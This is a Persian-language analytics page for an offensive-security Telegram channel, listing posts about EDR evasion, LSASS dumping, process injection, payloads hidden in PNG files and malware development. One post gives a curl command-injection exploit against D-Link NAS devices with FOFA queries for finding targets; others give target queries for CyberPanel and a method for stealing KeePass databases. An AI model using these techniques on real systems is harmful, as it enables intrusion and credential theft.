1N73LL1G3NC3
رفتن به کانال در Telegram
Any misuse of this info will not be the responsibility of the author, educational purposes only. Admin: @X0red
نمایش بیشتر📈 تحلیل کانال تلگرام 1N73LL1G3NC3
کانال 1N73LL1G3NC3 (@p0x3k) در بخش زبانی انگلیسی بازیگری فعال است. در حال حاضر جامعه شامل 12 169 مشترک است و جایگاه 7 632 را در دسته فناوری و برنامهها و رتبه 9 559 را در منطقه ماليزيا دارد.
📊 شاخصهای مخاطب و پویایی
از زمان ایجاد در невідомо، پروژه رشد سریعی داشته و 12 169 مشترک جذب کرده است.
بر اساس آخرین دادهها در تاریخ 13 نوامبر, 2024، کانال فعالیت پایداری دارد. در ۳۰ روز گذشته تغییر اعضا برابر 1 780 و در ۲۴ ساعت گذشته برابر 0 بوده و همچنان دسترسی گستردهای حفظ شده است.
- وضعیت تأیید: تأیید نشده
- نرخ تعامل (ER): میانگین تعامل مخاطب 37.81% است و در ۲۴ ساعت نخست پس از انتشار، محتوا معمولاً 14.03% واکنش نسبت به کل مشترکان کسب میکند.
- دسترسی پستها: هر پست به طور میانگین 4 605 بازدید دریافت میکند. در اولین روز معمولاً 1 709 بازدید جمعآوری میشود.
- واکنشها و تعامل: مخاطبان بهطور فعال حمایت میکنند؛ میانگین واکنش به هر پست 0 است.
📝 توضیح و سیاست محتوایی
نویسنده این فضا را محل بیان دیدگاههای شخصی توصیف میکند:
“Any misuse of this info will not be the responsibility of the author, educational purposes only.
Admin: @X0red”
به لطف بهروزرسانیهای پرتکرار (آخرین داده در تاریخ 18 مارس, 2026)، کانال همواره بهروز و دارای دسترسی بالاست. تحلیلها نشان میدهد مخاطبان بهطور فعال با محتوا تعامل دارند و آن را به نقطه اثرگذاری مهم در دسته فناوری و برنامهها تبدیل کردهاند.
12 169
مشترکین
اطلاعاتی وجود ندارد24 ساعت
+4457 روز
+1 78030 روز
در حال بارگیری داده...
کانالهای مشابه
ابر برچسبها
هیچ دادهای
مشکلی وجود دارد؟ لطفاً صفحه را تازه کنید یا با مدیر پشتیبانی ما تماس بگیرید.
اشارات ورودی و خروجی
---
---
---
---
---
---
جذب مشترکین
نوامبر '24
نوامبر '24
+586
در 5 کانالها
اکتبر '24
+2 106
در 7 کانالها
Get PRO
سپتامبر '24
+1 286
در 7 کانالها
Get PRO
اوت '24
+1 071
در 6 کانالها
Get PRO
ژوئیه '24
+568
در 3 کانالها
Get PRO
ژوئن '24
+904
در 11 کانالها
Get PRO
مه '24
+661
در 4 کانالها
Get PRO
آوریل '24
+744
در 10 کانالها
Get PRO
مارس '24
+977
در 8 کانالها
Get PRO
فوریه '24
+679
در 1 کانالها
Get PRO
ژانویه '24
+861
در 4 کانالها
Get PRO
دسامبر '23
+625
در 1 کانالها
Get PRO
نوامبر '23
+106
در 3 کانالها
Get PRO
اکتبر '23
+207
در 3 کانالها
Get PRO
سپتامبر '23
+149
در 0 کانالها
Get PRO
اوت '23
+127
در 0 کانالها
Get PRO
ژوئیه '23
+127
در 0 کانالها
Get PRO
ژوئن '23
+116
در 0 کانالها
Get PRO
مه '23
+176
در 0 کانالها
Get PRO
آوریل '23
+48
در 0 کانالها
Get PRO
مارس '23
+83
در 0 کانالها
Get PRO
فوریه '23
+47
در 0 کانالها
Get PRO
ژانویه '23
+47
در 0 کانالها
Get PRO
دسامبر '22
+24
در 0 کانالها
Get PRO
نوامبر '22
+33
در 0 کانالها
Get PRO
اکتبر '22
+66
در 0 کانالها
Get PRO
سپتامبر '22
+43
در 0 کانالها
Get PRO
اوت '22
+32
در 0 کانالها
Get PRO
ژوئیه '22
+45
در 0 کانالها
Get PRO
ژوئن '22
+115
در 0 کانالها
Get PRO
مه '22
+305
در 0 کانالها
| تاریخ | رشد مشترکین | اشارات | کانالها | |
| 12 نوامبر | +81 | |||
| 11 نوامبر | +54 | |||
| 10 نوامبر | +101 | |||
| 09 نوامبر | +65 | |||
| 08 نوامبر | +82 | |||
| 07 نوامبر | +85 | |||
| 06 نوامبر | +56 | |||
| 05 نوامبر | +2 | |||
| 04 نوامبر | +3 | |||
| 03 نوامبر | +9 | |||
| 02 نوامبر | +2 | |||
| 01 نوامبر | +46 |
پستهای کانال
Шишинг с Rogue RDP. Используем встроенные средства Windows для проникновения в сеть
За последний год EDR и XDR значительно повысили уровень защиты от фишинга. Особые трудности доставляет эвристический анализ. Классическая рассылка документов теперь почти не работает. В качестве альтернативы я выбрал Rogue RDP как средство доставки и технику Living off the Land Binaries — для первичного доступа в сети заказчика.
P.S.
Наконец-то, спустя пол года, моя статья вышла в свет. Кстати, не так давно этой техникой стали активно пользоваться APT😄
| 2 |  KrakenMask
Sleep obfuscation
Update 2.1 :
New advanced evasion method on CONTEXT.RIP with gadgets never used before.
Update 2.0 :
Sleep mask using APC with gadget-based evasion to bypass current detection methods. | 1 653 |
| 3 |  Malware and cryptography 32: encrypt payload via FEAL-8 algorithm. Simple C example.
Linux malware development 2: find process ID by name. Simple C example.
Malware development trick 43: Shuffle malicious payload. Simple C example.
Malware and cryptography 33: encrypt payload via Lucifer algorithm. Simple C example.
Malware and cryptography 34: encrypt payload via DFC algorithm. Simple C example. | 1 836 |
| 4 |  ShadowDumper
It uses 7 advanced techniques to dump LSASS memory.
Capabilities:
• Unhooked Injection (Modified Mimikatz Binary) – Utilizes unhooking to inject a modified Mimikatz binary, bypassing EDR hooks and evading detection.
• Unhooked Injection (Direct Syscalls with MDWD) – Implements direct syscalls for stealthy injection using MDWD, reducing the footprint left behind.
• Simple MiniDumpWriteDump API – Executes the straightforward MiniDumpWriteDump API method for standard LSASS memory extraction.
• MINIDUMP_CALLBACK_INFORMATION Callbacks – Uses callback functions for custom handling, offering greater control over the dumping process.
• Process Forking Technique – Forks the LSASS process, creating a memory clone and avoiding direct access to the target process.
• Direct Syscalls with MiniDumpWriteDump – Combines direct syscalls with MiniDumpWriteDump, enhancing stealth by avoiding typical API hooks.
• Native Dump with Direct Syscalls (Offline Parsing) – Leverages direct syscalls to create a native dump with essential streams for offline parsing, perfect for low-noise operations. | 2 361 |
| 5 |  CVE-2024-10914 (CVSS 9.2): Command Injection Flaw Threatens 61,000+ D-Link NAS Devices
The vulnerability is localized to the account_mgr.cgi script, particularly in the handling of the cgi_user_add command. The name parameter in this script does not adequately sanitize input, allowing for command execution.
Exploit:
curl "http://[Target-IP]/cgi-bin/account_mgr.cgi?cmd=cgi_user_add&name=%27;<INJECTED_SHELL_COMMAND>;%27"
Affected Devices:
DNS-320 – Version 1.00
DNS-320LW – Version 1.01.0914.2012
DNS-325 – Versions 1.01 and 1.02
DNS-340L – Version 1.08
Search query:
FOFA: app="D_Link-DNS-ShareCenter" | 3 093 |
| 6 |  Early Cascade Injection
This is just a simple PoC implementation of the early cascade injection technique documented by the Outflank blog post.
Blog: https://www.outflank.nl/blog/2024/10/15/introducing-early-cascade-injection-from-windows-process-creation-to-stealthy-injection/
P.S. Rust version: https://github.com/Teach2Breach/early_cascade_inj_rs | 2 920 |
| 7 |  KernelCallbackTable-Injection-PoC
Proof of Concept for manipulating the Kernel Callback Table in the Process Environment Block (PEB) to perform process injection and hijack execution flow. | 4 127 |
| 8 |  CVE-2024-46538 : PfSense Stored XSS Vulnerability
A cross-site scripting (XSS) vulnerability in pfsense v2.5.2 allows attackers to execute arbitrary web scripts or HTML via a crafted payload injected into the $pconfig variable at interfaces_groups_edit.php. | 4 029 |
| 9 |  Killer
It is designed to bypass AV/EDR security tools using various evasive techniques. | 4 259 |
| 10 | 😈 [ Chris Thompson @_Mayyhem ]
Want to move laterally from C2 on an Intune admin's workstation to any Intune-enrolled device? Check out Maestro, a new(ish) tool I wrote for those situations, and this blog post to walk you through how:
Code:
🔗 https://github.com/Mayyhem/Maestro
Blog:
🔗 https://posts.specterops.io/maestro-9ed71d38d546
🐥 [ tweet ] | 3 513 |
| 11 | Контролируемый взлом. Библия социальной инженерии. 2-е изд., Другач Ю.С, 2024 | 4 539 |
| 12 |  BOFHound
Generate BloodHound compatible JSON from logs written by ldapsearch BOF, pyldapsearch and Brute Ratel's LDAP Sentinel.
Blog Posts:
• BOFHound: AD CS Integration
• BOFHound: Session Integration
• Granularize Your AD Recon Game
• Granularize Your AD Recon Game Part 2
P.S:
BOFHound can now parse Active Directory Certificate Services (AD CS) objects, manually queried from LDAP, for review and attack path mapping within BloodHound Community Edition (BHCE). | 7 521 |
| 13 | ![😈 [ Diego Capriotti @naksyn ] This has been one of my favorites for a while, but now it's time to let it go. Here's my prefe](data:image/jpeg;base64,/9j/4AAQSkZJRgABAQAAAQABAAD/2wBDACgcHiMeGSgjISMtKygwPGRBPDc3PHtYXUlkkYCZlo+AjIqgtObDoKrarYqMyP/L2u71////m8H////6/+b9//j/2wBDASstLTw1PHZBQXb4pYyl+Pj4+Pj4+Pj4+Pj4+Pj4+Pj4+Pj4+Pj4+Pj4+Pj4+Pj4+Pj4+Pj4+Pj4+Pj4+Pj4+Pj/wAARCAAUACgDASIAAhEBAxEB/8QAHwAAAQUBAQEBAQEAAAAAAAAAAAECAwQFBgcICQoL/8QAtRAAAgEDAwIEAwUFBAQAAAF9AQIDAAQRBRIhMUEGE1FhByJxFDKBkaEII0KxwRVS0fAkM2JyggkKFhcYGRolJicoKSo0NTY3ODk6Q0RFRkdISUpTVFVWV1hZWmNkZWZnaGlqc3R1dnd4eXqDhIWGh4iJipKTlJWWl5iZmqKjpKWmp6ipqrKztLW2t7i5usLDxMXGx8jJytLT1NXW19jZ2uHi4+Tl5ufo6erx8vP09fb3+Pn6/8QAHwEAAwEBAQEBAQEBAQAAAAAAAAECAwQFBgcICQoL/8QAtREAAgECBAQDBAcFBAQAAQJ3AAECAxEEBSExBhJBUQdhcRMiMoEIFEKRobHBCSMzUvAVYnLRChYkNOEl8RcYGRomJygpKjU2Nzg5OkNERUZHSElKU1RVVldYWVpjZGVmZ2hpanN0dXZ3eHl6goOEhYaHiImKkpOUlZaXmJmaoqOkpaanqKmqsrO0tba3uLm6wsPExcbHyMnK0tPU1dbX2Nna4uPk5ebn6Onq8vP09fb3+Pn6/9oADAMBAAIRAxEAPwDMbk/Srmn20ctyySjcoUkc471RBrQ0mREumaRwoKHknHcVp0I6ml/Zlp/zy/8AHj/jS/2ZZ/8APH/x4/41N9qt/wDnvH/30KPtMB6TR/8AfQqNStDK1SzhgjjMKbSSc8k0VLrDo8cYRwTk9DRVx2Ib1MbHBPpSxHLH6UUVJY7PP0pVYg5HXB/lRRUobGb2Y8miiiruybI//9k=){kind=small} 😈 [ Diego Capriotti @naksyn ]
This has been one of my favorites for a while, but now it's time to let it go.
Here's my preferred way of getting the KeePass db that we often hunt for:
downgrade the executable to version 2.53, use CVE-2023-24055 and wait for the busy admin to trigger the dump of the database.
The target can remain clean and you can simply check for the dump creation.
KeePass version 2.53 can still open kdbx created with the version 2.57 and if using a proper xml the user will likely notice nothing.
Update alerts can also be disabled within the xml.
🔗 https://gist.github.com/naksyn/6d5660dacd0730498a274b85d62a77e8
🐥 [ tweet ] | 3 602 |
| 14 |  Exploit for CyberPanel RCE found on v2.3.6
Blog: https://dreyand.rs/code/review/2024/10/27/what-are-my-options-cyberpanel-v236-pre-auth-rce
Query:
HUNTER:
/product.name="CyberPanel"
FOFA:
app="CyberPanel"
Zoomeye:
“images/cyberpanel-banner” | 4 337 |
| 15 |  ExecutePeFromPngViaLNK
Extract and execute a PE embedded within a PNG file using an LNK file. The PE file is encrypted using a single-key XOR algorithm and then injected as an IDAT section to the end of a specified PNG file. | 4 522 |
| 16 |  Chrome-App-Bound-Encryption-Decryption
Tool to decrypt App-Bound encrypted keys in Chrome 127+, using the IElevator COM interface with path validation and encryption protections. | 4 440 |
| 17 |  EmbedPayloadInPng
Embed a payload within a PNG file by splitting the payload across multiple IDAT sections. Each section is encrypted individually using its own 16-byte key with the RC4 encryption algorithm. | 5 766 |
| 18 |  TypeLibWalker
Hijack the TypeLib. New COM persistence technique
So I decided to look for some new way of persistence. The object of study was the COM (Component Object Model) system. The choice was not made by chance, it is quite an old, not too simple and not too complex system that not many people understand.
In this article, i will introduce TypeLib libraries, see the relationship between TypeLib and COM, and achieve persistent code execution using TypeLib. | 9 517 |
| 19 |  RustHound-CE
Active Directory data ingestor for BloodHound Community Edition written in Rust. 🦀 | 4 931 |
| 20 |  Secure Stager
This project demonstrates an x64 position-independent stager that verifies the stage it downloads prior to executing it. This offers a safeguard against man-in-the-middle attacks for those who are concerned about such things. Final stager size ~4100 bytes. | 4 724 |
